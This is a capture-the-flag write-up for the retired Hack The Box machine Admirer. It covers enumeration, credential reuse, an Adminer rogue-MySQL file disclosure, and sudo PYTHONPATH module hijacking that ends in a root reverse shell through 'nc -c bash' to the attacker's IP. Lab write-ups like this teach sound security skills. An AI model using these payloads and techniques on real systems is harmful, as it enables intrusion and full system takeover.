This is the write-up for the box Admirer that got retired at the 26th September 2020. My IP address was 10.10.14.9 while I did this.
Let's put this in our hosts file:
10.10.10.187 admirer.htb
Starting with a Nmap scan:
nmap -sC -sV -o nmap/admirer.nmap 10.10.10.187
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
The web page contains images and when browsing to index.php it works, which means that PHP is supported. The Nmap script http-robots found a robots.txt file, that contains a directory and some additional information:
This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
It resolves in the HTTP status code 403 Forbidden, so lets search for hidden directories, PHP and text files in there with Gobuster:
gobuster -u http://10.10.10.187/admin-dir dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt -b 403,404
A file /contacts.txt is found with some user information:
# admins
Penny
Email: p.wise@admirer.htb
# developers
Rajesh
Email: r.nayyar@admirer.htb
Amy
Email: a.bialik@admirer.htb
Leonard
Email: l.galecki@admirer.htb
# designers
Howard
Email: h.helberg@admirer.htb
Bernadette
Email: b.rauch@admirer.htb
Another file credentials.txt is found with credentials:
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
Lets use the FTP credentials on the FTP service.
The credentials of the FTP account ftpuser work and there are two files in the FTP directory:
ftp 10.10.10.187
-rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql
-rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz
The file dump.sql is a dump of the MySQL database, but does not show any interesting information.
Decompressing the archive html.tar.gz:
tar -xzvf html.tar.gz
It unpacks a copy of the source files from the web page, but with some different folders. The folder w4ld0s_s3cr3t_d1r contains another credentials.txt, but with one more credential:
[Bank Account]
waldo.11
Ezy]m27}OREc$
The file index.php has credentials for a database:
$servername = "localhost";
$username = "waldo";
$password = "]F7jLHw:*G>UPrTo}~A"d6b";
$dbname = "admirerdb";
The file utility-scripts/db_admin.php has credentials for a database:
$servername = "localhost";
$username = "waldo";
$password = "Wh3r3_1s_w4ld0?";
There is another file in utility-scripts called admin_tasks.php that can also be found on the web page, which shows the uptime, logged in users and crontab from the bash script /opt/scripts/admin_tasks.sh on the box:
It does not have any sensitive information, but there may be more hidden files or directories in that directory.
Searching for hidden files and directories in utility-scripts:
gobuster -u http://10.10.10.187/utility-scripts dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x php,txt -b 403,404
It finds adminer.php which hosts Adminer that is used as a database management tool:
None of the obtained credentials work, but it is possible to specify a different server and it connects there:
System: MySQL
Server: 10.10.14.9
Username: testuser
Password: testpass
Database: testdb
My netcat
listener on port 3306 receives a response after trying to login:
nc -lvnp 3306
Ncat: Listening on 0.0.0.0:3306
Ncat: Connection from 10.10.10.187.
This means that we can setup our own MySQL database to bypass the authentication and access the Adminer interface.
Starting the MySQL service and login in on our local client:
service mysql start
mysql -u root
Creating a database and a user:
MariaDB [(none)]> create database admirer_bypass;
MariaDB [(none)]> create user 'testuser1'@'10.10.10.187' IDENTIFIED BY 'PasswordForAdmirer!';
MariaDB [(none)]> GRANT ALL ON admirer_bypass.* TO 'testuser1'@'10.10.10.187';
MariaDB [(none)]> FLUSH PRIVILEGES;
Changing the bind address for MySQL in the local /etc/mysql/mariadb.conf.d/50-server.cnf file:
(...)
bind-address = 0.0.0.0
(...)
Restarting the service, so the changes take effect:
service mysql restart
Now it is possible to login into the database with Adminer:
System: MySQL
Server: 10.10.14.9
Username: testuser1
Password: PasswordForAdmirer!
Database: admirer_bypass
According to this article from Foregenix there is a File Disclosure Vulnerability in Adminer version 4.6.2.
Creating a new table in our database:
MariaDB [(none)]> use admirer_bypass;
MariaDB [admirer_bypass]> CREATE TABLE new_table (OUTPUT TEXT(4096));
On Adminer there is a SQL command line, where the following command will be used to read /var/www/html/index.php:
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE new_table FIELDS TERMINATED BY "\n"
The contents of index.php are now in the table that we created:
MariaDB [admirer_bypass]> use admirer_bypass;
MariaDB [admirer_bypass]> select * from new_table;
The password on this index.php differs from the other one:
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
The password works on SSH for the user waldo:
ssh waldo@10.10.10.187
The user waldo can run the bash script /opt/scripts/admin_tasks.sh with root privileges that was mentioned in the admin_tasks.php:
sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
The function backup_web in the script calls the Python script /opt/scripts/backup.py which imports the shutil library:
from shutil import make_archive
(...)
make_archive(dst, 'gztar', src)
In the output of sudo
, the SETENV means that it is possible to set environment variables when executing the script.
This means by hijacking the module shutil in the Python script, it is possible to replace the library with our own code and execute any command.
Creating the malicious Python library in /dev/shm and calling it shutil.py:
import os
def make_archive(a, b, c):
os.system("nc -c bash 10.10.14.9 9001")
Setting the environment variable for Python to /dev/shm and executing admin_tasks.sh with sudo:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
Choosing option 6 to execute /opt/scripts/backup.py:
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
After choosing the option, the Python script will execute and find the library for shutil in our reverse shell script and thus the listener on my IP and port 9001 starts a reverse shell as root!